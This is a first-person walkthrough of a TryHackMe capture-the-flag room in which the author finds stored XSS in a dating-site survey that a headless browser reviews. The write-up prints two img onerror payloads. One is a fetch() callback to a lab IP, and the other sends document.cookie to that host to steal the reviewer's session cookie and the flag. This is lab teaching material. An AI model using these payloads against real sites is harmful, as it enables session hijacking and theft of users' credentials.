September 8, 2026
Cupid’s Matchmaker (THM) Walkthrough
“No algorithms. No AI. Just real human matchmakers” reading your personality survey personally. Room’s entire premise is basically daring…

By L4ZZ3RJ0D
3 min read
"No algorithms. No AI. Just real human matchmakers" reading your personality survey personally. Room's entire premise is basically daring you to test whether that's actually true, and spoiler, there's absolutely a headless browser sitting behind that "human touch."
The description alone was already pulling me toward XSS, someone claiming to personally read every submission is exactly the kind of setup where "someone" turns out to be an automated process rendering your input somewhere you can't see. But guessing based on vibes isn't the same as confirming it, so Burp went on in the background as always and I actually looked at what the app offered before assuming anything.
Cool interface, but functionally it boiled down to one real endpoint, the survey itself. Ran ffuf in the background while poking around manually, just to make sure there wasn't a leftover directory sitting somewhere the main navigation didn't mention.
Also found an admin login page, which made sense given the "matchmaking team reviews every submission" story, someone internally has to actually see these survey responses somehow. Tried a basic SQL injection against it, got a clean "invalid credentials" back with no difference in behavior between existing and nonexistent usernames, so no free username enumeration there either. That left the survey as the only real way to actually interact with whatever was reviewing submissions.
Filled out the survey with some throwaway details and submitted it. Got back a JWT in the response, and since anything called a token is worth a look, decoded it, mostly out of habit rather than expecting much.
Turned out to just be carrying a thank-you message, not an actual session token, so that particular rabbit hole closed itself quickly. Good sign in its own way though, since it meant the JWT wasn't the intended path and the survey submission itself was still the main attack surface.
Time to actually test the XSS theory instead of just suspecting it. If a "human review team" was really a headless browser rendering my submission somewhere, a basic out-of-band callback would confirm it either way.
<img src=x onerror="fetch('http://192.168.132.135:80/something')"><img src=x onerror="fetch('http://192.168.132.135:80/something')">
Hit landed almost immediately, and the request headers gave the game away completely, a User-Agent literally containing "HeadlessChrome" and an Origin of localhost:5000. Confirmed, whatever's "reviewing" these submissions is a headless browser running locally, rendering raw HTML straight out of the survey field with zero sanitization.
Confirmed XSS meant the next move was obvious, go after whatever session that headless browser is carrying, since it's presumably the admin or reviewer account actually viewing these submissions.
<img src="x" onerror="fetch('http://192.168.132.135/?k=' + document.cookie)"><img src="x" onerror="fetch('http://192.168.132.135/?k=' + document.cookie)">
And the cookie came through, flag riding along inside it. Worth being honest about the part that wasn't clean though, the first time I submitted this exact same payload, nothing came back. Sat there for over an hour convinced I'd broken something or misconfigured my listener, checked and rechecked everything, and then just resubmitted the identical payload again and it worked immediately, no changes made on my end. Genuinely don't know what caused the delay, could've been the headless browser's review cycle running on some kind of interval rather than reacting instantly to every submission, could've been something flaky in my own setup. Either way, sometimes the fix really is just "try the exact same thing again," and it's worth remembering that before assuming a working payload has silently failed.
Solid room for anyone still building XSS instincts, since the giveaway wasn't subtle once you actually looked, "real humans reviewing your submission" plus a User-Agent literally announcing itself as HeadlessChrome is about as clear a tell as a challenge is going to hand you. The lesson underneath it though holds up regardless of how obvious this particular room made it, anything claiming to "review" or "display" your input somewhere you can't directly see is worth testing for exactly this, because a bot quietly rendering unsanitized HTML on someone else's session is a much more common real-world pattern than people expect.
Happy hacking, see you in the next room, hopefully one where the "human review team" isn't quite this honest about being a browser :)